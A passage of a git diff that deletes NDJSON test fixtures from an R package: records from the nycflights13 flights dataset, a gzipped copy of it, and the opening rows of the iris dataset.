-{"year":2013,"month":1,"day":2,"dep_time":700,"sched_dep_time":700,"dep_delay":0,"arr_time":851,"sched_arr_time":850,"arr_delay":1,"carrier":"AA","flight":305,"tailnum":"N436AA","origin":"LGA","dest":"ORD","air_time":122,"distance":733,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":700,"sched_dep_time":700,"dep_delay":0,"arr_time":1017,"sched_arr_time":1015,"arr_delay":2,"carrier":"AA","flight":2279,"tailnum":"N3JJAA","origin":"LGA","dest":"MIA","air_time":163,"distance":1096,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":701,"sched_dep_time":705,"dep_delay":-4,"arr_time":1001,"sched_arr_time":943,"arr_delay":18,"carrier":"DL","flight":1445,"tailnum":"N339NB","origin":"LGA","dest":"MSY","air_time":193,"distance":1183,"hour":7,"minute":5,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":702,"sched_dep_time":700,"dep_delay":2,"arr_time":1054,"sched_arr_time":1008,"arr_delay":46,"carrier":"UA","flight":756,"tailnum":"N574UA","origin":"EWR","dest":"TPA","air_time":164,"distance":997,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":704,"sched_dep_time":655,"dep_delay":9,"arr_time":947,"sched_arr_time":921,"arr_delay":26,"carrier":"B6","flight":117,"tailnum":"N236JB","origin":"JFK","dest":"MSY","air_time":192,"distance":1182,"hour":6,"minute":55,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":704,"sched_dep_time":705,"dep_delay":-1,"arr_time":908,"sched_arr_time":913,"arr_delay":-5,"carrier":"DL","flight":831,"tailnum":"N974DL","origin":"LGA","dest":"DTW","air_time":90,"distance":502,"hour":7,"minute":5,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":704,"sched_dep_time":700,"dep_delay":4,"arr_time":1142,"sched_arr_time":1154,"arr_delay":-12,"carrier":"UA","flight":1152,"tailnum":"N37456","origin":"EWR","dest":"SJU","air_time":194,"distance":1608,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":705,"sched_dep_time":630,"dep_delay":35,"arr_time":1209,"sched_arr_time":1140,"arr_delay":29,"carrier":"AA","flight":413,"tailnum":"N3GEAA","origin":"JFK","dest":"SJU","air_time":197,"distance":1598,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":705,"sched_dep_time":710,"dep_delay":-5,"arr_time":827,"sched_arr_time":850,"arr_delay":-23,"carrier":"MQ","flight":3737,"tailnum":"N512MQ","origin":"EWR","dest":"ORD","air_time":115,"distance":719,"hour":7,"minute":10,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":707,"sched_dep_time":715,"dep_delay":-8,"arr_time":1022,"sched_arr_time":1045,"arr_delay":-23,"carrier":"AA","flight":443,"tailnum":"N3HYAA","origin":"JFK","dest":"MIA","air_time":160,"distance":1089,"hour":7,"minute":15,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":709,"sched_dep_time":700,"dep_delay":9,"arr_time":1006,"sched_arr_time":1014,"arr_delay":-8,"carrier":"B6","flight":671,"tailnum":"N583JB","origin":"JFK","dest":"LAX","air_time":327,"distance":2475,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":712,"sched_dep_time":700,"dep_delay":12,"arr_time":945,"sched_arr_time":941,"arr_delay":4,"carrier":"DL","flight":1547,"tailnum":"N541US","origin":"LGA","dest":"ATL","air_time":125,"distance":762,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":712,"sched_dep_time":700,"dep_delay":12,"arr_time":844,"sched_arr_time":832,"arr_delay":12,"carrier":"UA","flight":1223,"tailnum":"N76254","origin":"LGA","dest":"ORD","air_time":127,"distance":733,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":714,"sched_dep_time":715,"dep_delay":-1,"arr_time":1026,"sched_arr_time":1035,"arr_delay":-9,"carrier":"AA","flight":825,"tailnum":"N3BAAA","origin":"JFK","dest":"FLL","air_time":161,"distance":1069,"hour":7,"minute":15,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":715,"sched_dep_time":721,"dep_delay":-6,"arr_time":1013,"sched_arr_time":1012,"arr_delay":1,"carrier":"B6","flight":987,"tailnum":"N625JB","origin":"JFK","dest":"MCO","air_time":144,"distance":944,"hour":7,"minute":21,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":715,"sched_dep_time":715,"dep_delay":0,"arr_time":1047,"sched_arr_time":1112,"arr_delay":-25,"carrier":"UA","flight":223,"tailnum":"N517UA","origin":"JFK","dest":"SFO","air_time":341,"distance":2586,"hour":7,"minute":15,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":719,"sched_dep_time":720,"dep_delay":-1,"arr_time":1027,"sched_arr_time":1029,"arr_delay":-2,"carrier":"UA","flight":1526,"tailnum":"N33284","origin":"EWR","dest":"RSW","air_time":168,"distance":1068,"hour":7,"minute":20,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":720,"sched_dep_time":600,"dep_delay":80,"arr_time":905,"sched_arr_time":735,"arr_delay":90,"carrier":"MQ","flight":3768,"tailnum":"N520MQ","origin":"EWR","dest":"ORD","air_time":112,"distance":719,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":722,"sched_dep_time":725,"dep_delay":-3,"arr_time":949,"sched_arr_time":1030,"arr_delay":-41,"carrier":"AS","flight":11,"tailnum":"N592AS","origin":"EWR","dest":"SEA","air_time":314,"distance":2402,"hour":7,"minute":25,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":723,"sched_dep_time":713,"dep_delay":10,"arr_time":846,"sched_arr_time":849,"arr_delay":-3,"carrier":"UA","flight":393,"tailnum":"N529UA","origin":"EWR","dest":"ORD","air_time":114,"distance":719,"hour":7,"minute":13,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":724,"sched_dep_time":730,"dep_delay":-6,"arr_time":1039,"sched_arr_time":1115,"arr_delay":-36,"carrier":"VX","flight":11,"tailnum":"N847VA","origin":"JFK","dest":"SFO","air_time":344,"distance":2586,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":727,"sched_dep_time":645,"dep_delay":42,"arr_time":1024,"sched_arr_time":1028,"arr_delay":-4,"carrier":"UA","flight":277,"tailnum":"N820UA","origin":"EWR","dest":"SNA","air_time":338,"distance":2434,"hour":6,"minute":45,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":728,"sched_dep_time":730,"dep_delay":-2,"arr_time":1001,"sched_arr_time":952,"arr_delay":9,"carrier":"UA","flight":311,"tailnum":"N413UA","origin":"EWR","dest":"DEN","air_time":251,"distance":1605,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":729,"sched_dep_time":720,"dep_delay":9,"arr_time":846,"sched_arr_time":840,"arr_delay":6,"carrier":"FL","flight":850,"tailnum":"N982AT","origin":"LGA","dest":"MKE","air_time":113,"distance":738,"hour":7,"minute":20,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":729,"sched_dep_time":729,"dep_delay":0,"arr_time":1047,"sched_arr_time":1039,"arr_delay":8,"carrier":"B6","flight":1601,"tailnum":"N645JB","origin":"LGA","dest":"RSW","air_time":168,"distance":1080,"hour":7,"minute":29,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":729,"sched_dep_time":730,"dep_delay":-1,"arr_time":1011,"sched_arr_time":1056,"arr_delay":-45,"carrier":"DL","flight":495,"tailnum":"N3768","origin":"JFK","dest":"SEA","air_time":309,"distance":2422,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":730,"sched_dep_time":715,"dep_delay":15,"arr_time":1206,"sched_arr_time":1206,"arr_delay":0,"carrier":"B6","flight":715,"tailnum":"N559JB","origin":"JFK","dest":"SJU","air_time":187,"distance":1598,"hour":7,"minute":15,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":732,"sched_dep_time":730,"dep_delay":2,"arr_time":1105,"sched_arr_time":1100,"arr_delay":5,"carrier":"AA","flight":33,"tailnum":"N322AA","origin":"JFK","dest":"LAX","air_time":351,"distance":2475,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":732,"sched_dep_time":736,"dep_delay":-4,"arr_time":914,"sched_arr_time":850,"arr_delay":24,"carrier":"B6","flight":44,"tailnum":"N506JB","origin":"JFK","dest":"SYR","air_time":50,"distance":209,"hour":7,"minute":36,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":732,"sched_dep_time":732,"dep_delay":0,"arr_time":1047,"sched_arr_time":1040,"arr_delay":7,"carrier":"UA","flight":1509,"tailnum":"N73291","origin":"LGA","dest":"IAH","air_time":230,"distance":1416,"hour":7,"minute":32,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":733,"sched_dep_time":735,"dep_delay":-2,"arr_time":902,"sched_arr_time":858,"arr_delay":4,"carrier":"B6","flight":20,"tailnum":"N337JB","origin":"JFK","dest":"ROC","air_time":57,"distance":264,"hour":7,"minute":35,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":733,"sched_dep_time":737,"dep_delay":-4,"arr_time":1043,"sched_arr_time":1113,"arr_delay":-30,"carrier":"B6","flight":643,"tailnum":"N804JB","origin":"JFK","dest":"SFO","air_time":335,"distance":2586,"hour":7,"minute":37,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":734,"sched_dep_time":700,"dep_delay":34,"arr_time":1045,"sched_arr_time":1025,"arr_delay":20,"carrier":"WN","flight":20,"tailnum":"N485WN","origin":"EWR","dest":"HOU","air_time":235,"distance":1411,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":734,"sched_dep_time":732,"dep_delay":2,"arr_time":844,"sched_arr_time":853,"arr_delay":-9,"carrier":"UA","flight":1199,"tailnum":"N37408","origin":"EWR","dest":"BOS","air_time":34,"distance":200,"hour":7,"minute":32,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":737,"sched_dep_time":745,"dep_delay":-8,"arr_time":1042,"sched_arr_time":1036,"arr_delay":6,"carrier":"B6","flight":983,"tailnum":"N504JB","origin":"LGA","dest":"TPA","air_time":162,"distance":1010,"hour":7,"minute":45,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":738,"sched_dep_time":745,"dep_delay":-7,"arr_time":926,"sched_arr_time":930,"arr_delay":-4,"carrier":"AA","flight":309,"tailnum":"N528AA","origin":"LGA","dest":"ORD","air_time":121,"distance":733,"hour":7,"minute":45,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":739,"sched_dep_time":745,"dep_delay":-6,"arr_time":1116,"sched_arr_time":1125,"arr_delay":-9,"carrier":"AA","flight":59,"tailnum":"N325AA","origin":"JFK","dest":"SFO","air_time":353,"distance":2586,"hour":7,"minute":45,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":739,"sched_dep_time":735,"dep_delay":4,"arr_time":1033,"sched_arr_time":1031,"arr_delay":2,"carrier":"UA","flight":1296,"tailnum":"N19117","origin":"EWR","dest":"MCO","air_time":144,"distance":937,"hour":7,"minute":35,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":740,"sched_dep_time":740,"dep_delay":0,"arr_time":1025,"sched_arr_time":1015,"arr_delay":10,"carrier":"WN","flight":1581,"tailnum":"N468WN","origin":"LGA","dest":"DEN","air_time":263,"distance":1620,"hour":7,"minute":40,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":741,"sched_dep_time":743,"dep_delay":-2,"arr_time":932,"sched_arr_time":920,"arr_delay":12,"carrier":"EV","flight":4348,"tailnum":"N14542","origin":"EWR","dest":"GSO","air_time":94,"distance":445,"hour":7,"minute":43,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":741,"sched_dep_time":740,"dep_delay":1,"arr_time":1005,"sched_arr_time":1019,"arr_delay":-14,"carrier":"UA","flight":328,"tailnum":"N533UA","origin":"LGA","dest":"DEN","air_time":220,"distance":1620,"hour":7,"minute":40,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":743,"sched_dep_time":745,"dep_delay":-2,"arr_time":858,"sched_arr_time":857,"arr_delay":1,"carrier":"9E","flight":3373,"tailnum":"N902XJ","origin":"JFK","dest":"PHL","air_time":30,"distance":94,"hour":7,"minute":45,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":744,"sched_dep_time":730,"dep_delay":14,"arr_time":1017,"sched_arr_time":1007,"arr_delay":10,"carrier":"DL","flight":807,"tailnum":"N989DL","origin":"EWR","dest":"ATL","air_time":128,"distance":746,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":745,"sched_dep_time":730,"dep_delay":15,"arr_time":1112,"sched_arr_time":1040,"arr_delay":32,"carrier":"AA","flight":715,"tailnum":"N455AA","origin":"LGA","dest":"DFW","air_time":244,"distance":1389,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":745,"sched_dep_time":746,"dep_delay":-1,"arr_time":1118,"sched_arr_time":1129,"arr_delay":-11,"carrier":"UA","flight":1668,"tailnum":"N37287","origin":"EWR","dest":"SFO","air_time":350,"distance":2565,"hour":7,"minute":46,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":747,"sched_dep_time":749,"dep_delay":-2,"arr_time":1051,"sched_arr_time":1054,"arr_delay":-3,"carrier":"B6","flight":341,"tailnum":"N508JB","origin":"JFK","dest":"SRQ","air_time":167,"distance":1041,"hour":7,"minute":49,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":750,"sched_dep_time":725,"dep_delay":25,"arr_time":1048,"sched_arr_time":1020,"arr_delay":28,"carrier":"UA","flight":1724,"tailnum":"N79521","origin":"EWR","dest":"PBI","air_time":151,"distance":1023,"hour":7,"minute":25,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":751,"sched_dep_time":800,"dep_delay":-9,"arr_time":942,"sched_arr_time":945,"arr_delay":-3,"carrier":"9E","flight":3643,"tailnum":"N8869B","origin":"JFK","dest":"PIT","air_time":68,"distance":340,"hour":8,"minute":0,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":752,"sched_dep_time":800,"dep_delay":-8,"arr_time":956,"sched_arr_time":959,"arr_delay":-3,"carrier":"EV","flight":4166,"tailnum":"N11536","origin":"EWR","dest":"GSP","air_time":109,"distance":594,"hour":8,"minute":0,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":752,"sched_dep_time":800,"dep_delay":-8,"arr_time":912,"sched_arr_time":918,"arr_delay":-6,"carrier":"EV","flight":4233,"tailnum":"N21130","origin":"EWR","dest":"BTV","air_time":49,"distance":266,"hour":8,"minute":0,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":752,"sched_dep_time":745,"dep_delay":7,"arr_time":1055,"sched_arr_time":1042,"arr_delay":13,"carrier":"UA","flight":251,"tailnum":"N430UA","origin":"EWR","dest":"IAH","air_time":215,"distance":1400,"hour":7,"minute":45,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":754,"sched_dep_time":635,"dep_delay":79,"arr_time":900,"sched_arr_time":745,"arr_delay":75,"carrier":"EV","flight":4241,"tailnum":"N22909","origin":"EWR","dest":"DCA","air_time":46,"distance":199,"hour":6,"minute":35,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":754,"sched_dep_time":755,"dep_delay":-1,"arr_time":1055,"sched_arr_time":1059,"arr_delay":-4,"carrier":"DL","flight":2263,"tailnum":"N361NW","origin":"LGA","dest":"MCO","air_time":143,"distance":950,"hour":7,"minute":55,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":755,"sched_dep_time":800,"dep_delay":-5,"arr_time":1100,"sched_arr_time":1054,"arr_delay":6,"carrier":"B6","flight":517,"tailnum":"N703JB","origin":"EWR","dest":"MCO","air_time":146,"distance":937,"hour":8,"minute":0,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":755,"sched_dep_time":800,"dep_delay":-5,"arr_time":1048,"sched_arr_time":1106,"arr_delay":-18,"carrier":"B6","flight":3,"tailnum":"N509JB","origin":"JFK","dest":"FLL","air_time":155,"distance":1069,"hour":8,"minute":0,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":755,"sched_dep_time":759,"dep_delay":-4,"arr_time":1037,"sched_arr_time":1039,"arr_delay":-2,"carrier":"DL","flight":2047,"tailnum":"N660DL","origin":"LGA","dest":"ATL","air_time":123,"distance":762,"hour":7,"minute":59,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":757,"sched_dep_time":800,"dep_delay":-3,"arr_time":1058,"sched_arr_time":1127,"arr_delay":-29,"carrier":"DL","flight":1843,"tailnum":"N918DL","origin":"JFK","dest":"MIA","air_time":155,"distance":1089,"hour":8,"minute":0,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":757,"sched_dep_time":759,"dep_delay":-2,"arr_time":1018,"sched_arr_time":959,"arr_delay":19,"carrier":"US","flight":1733,"tailnum":"N537UW","origin":"LGA","dest":"CLT","air_time":106,"distance":544,"hour":7,"minute":59,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":758,"sched_dep_time":755,"dep_delay":3,"arr_time":1052,"sched_arr_time":1110,"arr_delay":-18,"carrier":"AA","flight":2267,"tailnum":"N3CNAA","origin":"LGA","dest":"MIA","air_time":160,"distance":1096,"hour":7,"minute":55,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":759,"sched_dep_time":805,"dep_delay":-6,"arr_time":901,"sched_arr_time":919,"arr_delay":-18,"carrier":"B6","flight":1172,"tailnum":"N309JB","origin":"EWR","dest":"BOS","air_time":38,"distance":200,"hour":8,"minute":5,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":800,"sched_dep_time":810,"dep_delay":-10,"arr_time":1102,"sched_arr_time":1116,"arr_delay":-14,"carrier":"DL","flight":1959,"tailnum":"N995DL","origin":"JFK","dest":"MCO","air_time":143,"distance":944,"hour":8,"minute":10,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":801,"sched_dep_time":730,"dep_delay":31,"arr_time":1136,"sched_arr_time":1040,"arr_delay":56,"carrier":"AA","flight":2083,"tailnum":"N487AA","origin":"EWR","dest":"DFW","air_time":241,"distance":1372,"hour":7,"minute":30,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":801,"sched_dep_time":810,"dep_delay":-9,"arr_time":951,"sched_arr_time":955,"arr_delay":-4,"carrier":"MQ","flight":4406,"tailnum":"N837MQ","origin":"JFK","dest":"RDU","air_time":86,"distance":427,"hour":8,"minute":10,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":804,"sched_dep_time":805,"dep_delay":-1,"arr_time":1039,"sched_arr_time":1110,"arr_delay":-31,"carrier":"UA","flight":423,"tailnum":"N528UA","origin":"EWR","dest":"PDX","air_time":310,"distance":2434,"hour":8,"minute":5,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":806,"sched_dep_time":810,"dep_delay":-4,"arr_time":1300,"sched_arr_time":1315,"arr_delay":-15,"carrier":"AA","flight":655,"tailnum":"N5FTAA","origin":"JFK","dest":"STT","air_time":193,"distance":1623,"hour":8,"minute":10,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":807,"sched_dep_time":810,"dep_delay":-3,"arr_time":1133,"sched_arr_time":1129,"arr_delay":4,"carrier":"DL","flight":1271,"tailnum":"N322US","origin":"JFK","dest":"FLL","air_time":170,"distance":1069,"hour":8,"minute":10,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":808,"sched_dep_time":810,"dep_delay":-2,"arr_time":1049,"sched_arr_time":1045,"arr_delay":4,"carrier":"DL","flight":269,"tailnum":"N971DL","origin":"JFK","dest":"ATL","air_time":124,"distance":760,"hour":8,"minute":10,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":808,"sched_dep_time":815,"dep_delay":-7,"arr_time":1020,"sched_arr_time":1016,"arr_delay":4,"carrier":"US","flight":675,"tailnum":"N656AW","origin":"EWR","dest":"CLT","air_time":107,"distance":529,"hour":8,"minute":15,"time_hour":"2013-01-02 08:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":809,"sched_dep_time":810,"dep_delay":-1,"arr_time":950,"sched_arr_time":948,"arr_delay":2,"carrier":"B6","flight":1051,"tailnum":"N304JB","origin":"JFK","dest":"PIT","air_time":71,"distance":340,"hour":8,"minute":10,"time_hour":"2013-01-02 08:00:00"} diff --git a/tests/testthat/examples/flights.ndjson.gz b/tests/testthat/examples/flights.ndjson.gz deleted file mode 100644 index f122b9e..0000000 Binary files a/tests/testthat/examples/flights.ndjson.gz and /dev/null differ diff --git a/tests/testthat/examples/iris.ndjson b/tests/testthat/examples/iris.ndjson deleted file mode 100644 index 92ba94c..0000000 --- a/tests/testthat/examples/iris.ndjson +++ /dev/null @@ -1,150 +0,0 @@ -{"Sepal.Length":5.1,"Sepal.Width":3.5,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.9,"Sepal.Width":3,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.7,"Sepal.Width":3.2,"Petal.Length":1.3,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.6,"Sepal.Width":3.1,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.6,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.4,"Sepal.Width":3.9,"Petal.Length":1.7,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":4.6,"Sepal.Width":3.4,"Petal.Length":1.4,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.4,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.4,"Sepal.Width":2.9,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.9,"Sepal.Width":3.1,"Petal.Length":1.5,"Petal.Width":0.1,"Species":"setosa"} -{"Sepal.Length":5.4,"Sepal.Width":3.7,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.8,"Sepal.Width":3.4,"Petal.Length":1.6,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.8,"Sepal.Width":3,"Petal.Length":1.4,"Petal.Width":0.1,"Species":"setosa"} -{"Sepal.Length":4.3,"Sepal.Width":3,"Petal.Length":1.1,"Petal.Width":0.1,"Species":"setosa"} -{"Sepal.Length":5.8,"Sepal.Width":4,"Petal.Length":1.2,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.7,"Sepal.Width":4.4,"Petal.Length":1.5,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":5.4,"Sepal.Width":3.9,"Petal.Length":1.3,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.5,"Petal.Length":1.4,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":5.7,"Sepal.Width":3.8,"Petal.Length":1.7,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.8,"Petal.Length":1.5,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":5.4,"Sepal.Width":3.4,"Petal.Length":1.7,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.7,"Petal.Length":1.5,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":4.6,"Sepal.Width":3.6,"Petal.Length":1,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.3,"Petal.Length":1.7,"Petal.Width":0.5,"Species":"setosa"} -{"Sepal.Length":4.8,"Sepal.Width":3.4,"Petal.Length":1.9,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3,"Petal.Length":1.6,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.4,"Petal.Length":1.6,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":5.2,"Sepal.Width":3.5,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.2,"Sepal.Width":3.4,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.7,"Sepal.Width":3.2,"Petal.Length":1.6,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.8,"Sepal.Width":3.1,"Petal.Length":1.6,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.4,"Sepal.Width":3.4,"Petal.Length":1.5,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":5.2,"Sepal.Width":4.1,"Petal.Length":1.5,"Petal.Width":0.1,"Species":"setosa"} -{"Sepal.Length":5.5,"Sepal.Width":4.2,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.9,"Sepal.Width":3.1,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.2,"Petal.Length":1.2,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.5,"Sepal.Width":3.5,"Petal.Length":1.3,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.9,"Sepal.Width":3.6,"Petal.Length":1.4,"Petal.Width":0.1,"Species":"setosa"} -{"Sepal.Length":4.4,"Sepal.Width":3,"Petal.Length":1.3,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.4,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.5,"Petal.Length":1.3,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":4.5,"Sepal.Width":2.3,"Petal.Length":1.3,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":4.4,"Sepal.Width":3.2,"Petal.Length":1.3,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.5,"Petal.Length":1.6,"Petal.Width":0.6,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.8,"Petal.Length":1.9,"Petal.Width":0.4,"Species":"setosa"} -{"Sepal.Length":4.8,"Sepal.Width":3,"Petal.Length":1.4,"Petal.Width":0.3,"Species":"setosa"} -{"Sepal.Length":5.1,"Sepal.Width":3.8,"Petal.Length":1.6,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":4.6,"Sepal.Width":3.2,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5.3,"Sepal.Width":3.7,"Petal.Length":1.5,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":5,"Sepal.Width":3.3,"Petal.Length":1.4,"Petal.Width":0.2,"Species":"setosa"} -{"Sepal.Length":7,"Sepal.Width":3.2,"Petal.Length":4.7,"Petal.Width":1.4,"Species":"versicolor"} -{"Sepal.Length":6.4,"Sepal.Width":3.2,"Petal.Length":4.5,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":6.9,"Sepal.Width":3.1,"Petal.Length":4.9,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":5.5,"Sepal.Width":2.3,"Petal.Length":4,"Petal.Width":1.3,"Species":"versicolor"} -{"Sepal.Length":6.5,"Sepal.Width":2.8,"Petal.Length":4.6,"Petal.Width":1.5,"Species":"versicolor"} -{"Sepal.Length":5.7,"Sepal.Width":2.8,"Petal.Length":4.5,"Petal.Width":1.3,"Species":"versicolor"} 